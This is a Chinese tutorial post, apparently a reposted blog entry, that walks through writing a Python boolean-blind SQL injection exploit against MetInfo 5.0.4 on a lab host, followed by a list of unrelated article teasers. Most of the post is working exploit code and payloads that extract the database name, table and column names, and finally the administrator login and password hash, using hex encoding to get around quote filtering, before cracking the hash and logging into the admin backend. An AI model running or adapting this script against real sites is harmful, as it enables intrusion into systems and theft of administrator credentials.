metinfo_5.0.4 EXP Python脚本编写

文章目录

    • metinfo_5.0.4EXP编写
      • SQL注入漏洞

metinfo_5.0.4EXP编写

SQL注入漏洞

漏洞点:/about/show.php?lang=cn&id=22

http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22

image-20230922173826857

验证漏洞(数字型注入)

状态码区分正确与错误

做比较的时候不能采用单引号进行比较,要采用大小余号,ASCII进行编码

image-20230922175634001

我们看到页面正常

image-20230922175714610

页面不正常,说明此处为数字型注入,且存在布尔盲注漏洞。

我们拿sqlmap跑一下:

python .\sqlmap.py -u "http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22"

image-20230922174839385

发现只检测出了延时注入,而没有检测出存在布尔盲注,而延时注入的成本要比布尔盲注的成本要高许多,所以我们就可以自己写一个布尔盲注脚本。

布尔盲注脚本编写

# metinfo_5.0.4_sqli-boolean.py'''
http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22'''
import requests
import string
import base64
from termcolor import coloredurl="http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22"i=0while True:i+=1# 获取数据库名称的长度:通过构造 payload ,将 i 的值逐渐增加,并拼接到 URL 中,发送请求。如果返回的页面内容中不包含 "../404.html" ,则表示查询成功,获取到了数据库名称的长度,将其保存在变量 sql_name_length 中。payload= f" and length((select database()))={i} --+" # 获取数据库名的长度时使用# 获取数据库所有表名的长度:通过构造 payload ,将 i 的值逐渐增加,并拼接到 URL 中,发送请求。如果返回的页面内容中不包含 "../404.html" ,则表示查询成功,获取到了所有表名的长度。payload= f" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={i} --+"  # 获取数据库所有表名时使用#print(payload)full_url=url+payloadprint(full_url)res=requests.get(url=full_url)if "../404.html" not in res.text:sql_name_length=iprint(f"[*] The length is {i}")break# string.printable 是一个内置字符串常量,包含了 ASCII 字符集中的所有可打印字符。
# strip() 是 Python 内置的字符串方法之一,它的作用是去除字符串的头尾指定字符(默认为空格字符)。
# 因为string.prinable 的最后的几个字符是空格、制表符、换行符等不可打印字符。因为在进行 SQL 注入时,只需要使用可打印字符,所以需要使用 strip() 方法将不可打印字符去除。
c_set= string.printable.strip()sql_name=""#  获取数据库名
for b in range(sql_name_length):for c in c_set:payload=f" and ascii(substr((select database()),{b+1},1))={ord(c)} -- "  # 获取数据库名时使用,ord.c 表示转换为ascii码payload=f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{b+1},1))={ord(c)} -- "  # 获取数据库所有表名时使用# print(payload)full_url=url+payloadres=requests.get(url=full_url)if "../404.html" not in res.text:sql_name+=cprint(colored(f"[*] The sqlname is {sql_name}","green"))break'''DATABASE:metinfo_504table_name:met_admin_column,met_admin_table,met_app,met_column,met_config,met_cv,met_download,met_feedback,met_flash,met_flist,met_img,met_index,met_job,met_label,met_lang,met_link,met_list,met_message,met_news,met_online,met_otherinfo,met_parameter,met_plist,met_product,met_skin_table,met_sms,met_visit_day,met_visit_detail,met_visit_summary
'''

说明:

代码进入一个嵌套循环,外层循环遍历数据库名称的每个字符位置,内层循环遍历在 ASCII 可打印字符集(string.printable)中的每个字符。在每次循环中,代码构造一个 payload 用于获取数据库名称和所有表名的字符。具体步骤如下:

  1. 获取数据库名称的字符:通过构造 payload=f" and ascii(substr((select database()),{b+1},1))={ord(c)} -- " ,将字符位置 (b+1) 和字符的 ASCII 值 (ord(c)) 插入到 payload 中,发送请求。如果返回的页面内容中不包含 “…/404.html” ,则表示查询成功,获取到了数据库名称的字符,将其添加到变量 sql_name 中。
  2. 获取数据库所有表名的字符:通过构造 payload=f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{b+1},1))={ord(c)} -- " ,将字符位置 (b+1) 和字符的 ASCII 值 (ord(c)) 插入到 payload 中,发送请求。如果返回的页面内容中不包含 “…/404.html” ,则表示查询成功,获取到了所有表名的字符。

执行结果:

image-20230922211732511

获取到表名之后,怎么拿到管理员账密,因为metinfo是一个出名的网站管理系统,我们可以通过百度搜一下他的数据库结构

image-20230922214225296

查到了账号和密码在met_admin_table表中,我们可以继续完善上面的脚本:

构造payload:

payload= f" and length((select group_concat(table_name) from information_schema.tables where table_name='met_admin_table'))>0"

在bp中进行测试:

image-20230922215240720

这里是因为单引号是不可以使用的,需要避免使用单引号,我们可以对其进行十六进制编码:

image-20230922215530028

再次测试:

image-20230922215817106

正常返回,这样payload就构造完成了。接下来构造脚本:

# metinfo_5.0.4_sqli-boolean.py'''
http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22'''
import requests
import string
import base64
from termcolor import colored
import sysbanner='''
================================================================____   _   _   _   _   ___ / ___| | | | | | | | | |_ _|| |  _  | |_| | | | | |  | | | |_| | |  _  | | |_| |  | | \____| |_| |_|  \___/  |___|-- G_H_IExplain : In this case, the test is metinfo 5.0.4 sqli-boolean================================================================'''print(colored(banner,"green"))flag = input(colored(f"Could you want to continue?[Y/n]","red"))if flag == "n":exit()url= "http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22"i=0while True:i+=1payload= f" and length((select database()))={i} --+" # 获取数据库名的长度时使用payload= f" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={i} --+"  # 获取数据库所有表名时使用payload= f" and length((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65))={i} --+"# print(payload)full_url=url+payloadprint(full_url)res=requests.get(url=full_url)if "../404.html" not in res.text:sql_name_length=iprint(colored(f"[*] The length is {i}","red"))breakc_set= string.printable.strip()sql_name=""for b in range(sql_name_length):for c in c_set:payload=f" and ascii(substr((select database()),{b+1},1))={ord(c)} -- "  # 获取数据库名的长度时使用,ord.c 表示转换为ascii码payload=f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{b+1},1))={ord(c)} -- "  # 获取数据库所有表名时使用payload=f" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65),{b+1},1))={ord(c)} -- "# print(payload)full_url=url+payloadres=requests.get(url=full_url)if "../404.html" not in res.text:sql_name+=c# print(colored(f"[*] The sqlname is {sql_name}","green"))print(colored(f"\r[*] The column_name is : {sql_name}","green"),end='') # end 是一个命名参数,用于指定在输出结束后要添加的字符,不添加 end 时,默认情况下是换行符 \nbreak

补充:

concatgroup_concat 都是 MySQL 数据库中的字符串聚合函数。它们的作用是把多个字符串值连接成一个字符串,并返回连接后的结果。

然而,两者有以下不同之处:

  1. concat 函数只能连接两个字符串,而 group_concat 函数可以连接多个字符串。
  2. concat 函数返回连接后的字符串结果,而 group_concat 函数返回所有连接后的字符串组成的一个字符串列表。

image-20230923104826474

我们得到了admin_id 和admin_pass,我们猜测这两个代表管理员账户和密码,我们接着完善脚本:

# metinfo_5.0.4_sqli-boolean.py'''
http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22得到数据库名的长度and length((select database()))=1 --+得到数据库名  and ascii(substr((select database()),1,1))=1 --+ 得到数据库所有表名的长度总和 and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1 --+ 得到数据库所有表名 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=1 --+得到met_admin_table表的所有列数  and length((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65))=1 --+得到met_admin_table表的所有字段and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65),1,1))=1 --+ 获取met_admin_table表中的 admin_id和admin_pass 外加一个冒号分隔符的长度and length((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1))=1 --+获取admin_id 和 admin_pass 的值and ascii(substr((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1),1,1))=1 --+ 
'''import requests
import string
import base64
from termcolor import colored
import sysbanner='''
================================================================____   _   _   _   _   ___ / ___| | | | | | | | | |_ _|| |  _  | |_| | | | | |  | | | |_| | |  _  | | |_| |  | | \____| |_| |_|  \___/  |___|-- G_H_IExplain : In this case, the test is metinfo 5.0.4 sqli-boolean================================================================'''print(colored(banner,"green"))flag = input(colored(f"Could you want to continue?[Y/n]","red"))if flag == "n":exit()url= "http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22"i=0while True:i+=1payload= f" and length((select database()))={i} -- " # 获取数据库名的长度时使用payload= f" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={i} -- "  # 获取数据库所有表名时使用payload= f" and length((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65))={i} -- "payload= f" and length((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1))={i} --+" # limit 0,1 :限制查询结果的行数为一行,从第 0 行开始,即第一行。# print(payload)full_url=url+payload# print(full_url)res=requests.get(url=full_url)if "../404.html" not in res.text:sql_name_length=iprint(colored(f"[*] The length is {i}","green"))breakflag = input(colored(f"Could you want to continue?[Y/n]","red"))if flag == "n":exit()c_set= string.printable.strip()sql_name=""for b in range(sql_name_length):for c in c_set:payload=f" and ascii(substr((select database()),{b+1},1))={ord(c)} -- "  # 获取数据库名的长度时使用,ord.c 表示转换为ascii码payload=f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{b+1},1))={ord(c)} -- "  # 获取数据库所有表名时使用payload=f" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65),{b+1},1))={ord(c)} -- "payload=f" and ascii(substr((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1),{b+1},1))={ord(c)} -- "# print(payload)full_url=url+payloadres=requests.get(url=full_url)if "../404.html" not in res.text:sql_name+=c# print(colored(f"[*] The sqlname is {sql_name}","green"))print(colored(f"\r[*] The met_admin_table-column_name is : {sql_name}","green"),end='') # end 是一个命名参数,用于指定在输出结束后要添加的字符,不添加 end 时,默认情况下是换行符 \nbreak

执行结果:

image-20230923105443011

对得到的密文其进行解密:

image-20230923105548514

登录网站后台:

image-20230923105757804

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/140181.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【计算机网络笔记二】网络层

IP 地址分类和子网掩码 IPv4 地址—简称 IP 地址,IP 地址由 32 位比特组成 IP地址现在由因特网名字和数字分配机构 ICANN(Internet Corporation for Assigned Names and Numbers)进行分配,IP地址的作用:用于网络寻址&…

猴赛雷 ! 上次我见过这么厉害的安全测试实战演练还是上次!

01、概念介绍 1.1 xss XSS 攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是 JavaScript,但实际上也可以包括 Java、 VBScript、Acti…

WebGL 计算平行光、环境光下的漫反射光颜色

目录 光照原理 光源类型 平行光 点光源 环境光 反射类型 漫反射 漫反射光颜色 计算公式 环境反射 环境反射光颜色 表面的反射光颜色(漫反射和环境反射同时存在时)计算公式 平行光下的漫反射 根据光线和法线方向计算入射角θ(以便…

Arduino驱动MMA7260三轴加速度传感器(惯性测量传感器篇)

目录 1、传感器特性 2、控制器和传感器连线图 3、驱动程序 Arduino驱动MMA7260三轴加速度传感器芯片,可以应用到摩托车和汽车放倒报警、遥控航模、游戏手柄、人形机器人跌倒检测、硬盘冲击保护、倾斜度测量等场合。 1

hadoop测试环境sqoop使用

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 Sqoop看这篇文章就够了_must contain $conditions in where clause._SoWhat1412的博客-CSDN博客 大数据环境 C:\Windows\System32\drivers\etc 修改ip和hostname的对应关系 1…

第75步 时间序列建模实战:多步滚动预测 vol-3(以决策树回归为例)

基于WIN10的64位系统演示 一、写在前面 上两期,我们讲了多步滚动预测的第两种策略: 对于重复的预测值,取平均处理。例如,(1,2,3)预测出3.9和4.5,(2,3,4)预测出5.2和6.…

关于安卓SVGA浅尝(一)svgaplayer库的使用

关于安卓SVGA浅尝(一)使用 相关链接 SVGA官网 SVGA-github说明文档 背景 项目开发,都会和动画打交道,动画的方案选取,就有很多选择。如Json动画,svga动画,gif等等。各有各的优势。目前项目中…

工具及方法 - 二进制编辑软件

之前介绍过用Notepad和VSCode进行二进制文件编辑。 很多通用型的文本编辑器都会集成二进制文件编辑功能,或者使用插件等形式扩展此项功能。比如vi/vim等工具。 而且,作为文本编辑、二进制文件编辑一类的工具,数量众多,各有特色。…

面试官:为什么说HTTPS比HTTP安全? HTTPS是如何保证安全的?

公众号 小册 这是我整理的学习资料,非常系统和完善,欢迎一起学习 现代JavaScript高级小册 深入浅出Dart 现代TypeScript高级小册 linwu的算法笔记📒 一、安全特性 在前文中,我们已经了解到HTTP在通信过程中存在以下问题&…

STM32 EtherCAT 总线型(1 拖 4)步进电机解决方案

第 1 章 概述  技术特点  支持标准 100M/s 带宽全双工 EtherCAT 总线网络接口及 CoE 通信协议一 进一出(RJ45 接口),支持多组动态 PDO 分组和对象字典的自动映射,支持站 号 ID 的自动设置与保存,支持 SDO 的…

zemaxMIF曲线图

调制传递函数( Modulation Transfer Function,MTF )是用来形容光学系统成像质量的重要指标。 通过对光学系统像空间进行傅里叶变换,可以得到一张分析图表,来描述像面上对比度和空间频率之间的对应关系。 对比度&…

相机有俯仰角时如何将像素坐标正确转换到其他坐标系

一般像素坐标系转相机坐标系都是默认相机是水平的,没有考虑相机有俯仰角的情况,大致的过程是:像素坐标系统-->图像坐标系-->相机坐标系 ->世界坐标系或雷达坐标系: 像素坐标系 像素坐标系(u,v)是…

R语言贝叶斯MCMC:GLM逻辑回归、Rstan线性回归、Metropolis Hastings与Gibbs采样算法实例...

原文链接:http://tecdat.cn/?p23236 在频率学派中,观察样本是随机的,而参数是固定的、未知的数量(点击文末“阅读原文”获取完整代码数据)。 相关视频 什么是频率学派? 概率被解释为一个随机过程的许多观测…

Spring Cloud Gateway快速入门(一)——网关简介

文章目录 前言一、什么是网关1.1 gateway的特点1.2 为什么要使用gateway 二、使用 Nginx 实现网关服务什么是网关服务?为什么选择 Nginx 作为网关服务?如何使用 Nginx 实现网关服务?1. 安装 Nginx2. 配置 Nginx3. 启动 Nginx4. 测试网关服务 …

Windows11 手把手教授开放端口

首先在控制面板点击“系统与安全”,找到防火墙 然后点击“windows defender”打开防火墙 点击左侧目录栏中“高级设置” 点击“入站规则”,再点击新建入站规则(开放端口有开放入站端口与开放出站端口之分,这里讲入站端口的开放…

精品Python宠物领养网站系统失物招领

《[含文档PPT源码等]精品基于Python实现的宠物网系统》该项目含有源码、文档、PPT、配套开发软件、软件安装教程、项目发布教程等 软件开发环境及开发工具: 开发语言:python 使用框架:Django 前端技术:JavaScript、VUE.js&…

华为云云耀云服务器L实例评测|基于L实例安装Prometheus+Grafana插件实现数据可视化监控

文章目录 一、云耀云服务器介绍二、安装Prometheus创建prometheus.service配置文件启动prometheus服务查看prometheus服务进程三、安装node_exporter下载node_exporter组件包创建node_exporter.service配置文件启动node_exproter服务配置prometheus.yml文件访问Prometheus四、安…

php代码审计篇熊海cms代码审计

文章目录 自动审计逐个分析首页index.php文件包含漏洞后台逻辑漏洞cookie绕过登录后台sql报错注入存储型XSS 结束吧 自动审计 看到有很多 逐个分析 首页index.php文件包含漏洞 读一下代码&#xff0c;可以看到很明显的一个文件包含 <?php //单一入口模式 error_repor…

SpringBoot Admin监控平台《二》基础报警设置

一、前置准备 首先搭建监控一个平台和连个客户端&#xff0c;搭建流程见SpringBoot Admin监控平台《一》平台搭建及基础介绍 &#xff0c;搭建完毕之后&#xff0c;启动各个项目&#xff0c;监控平台的界面如下所示&#xff1a; 二、邮件报警 2.1.邮箱授权码获取 授权码主要…

minikube搭建k8s

环境&#xff1a;centos7&#xff0c;docker18 minikube搭建k8s 说明 minikube是最接近原生kubernetes的本地单机版集群&#xff0c;支持大部分kubernetes功能&#xff0c;用于学习和开发k8s。支持Linux、Windows、Mac 官网安装文档 安装前提 一台物理机或者虚拟机&#x…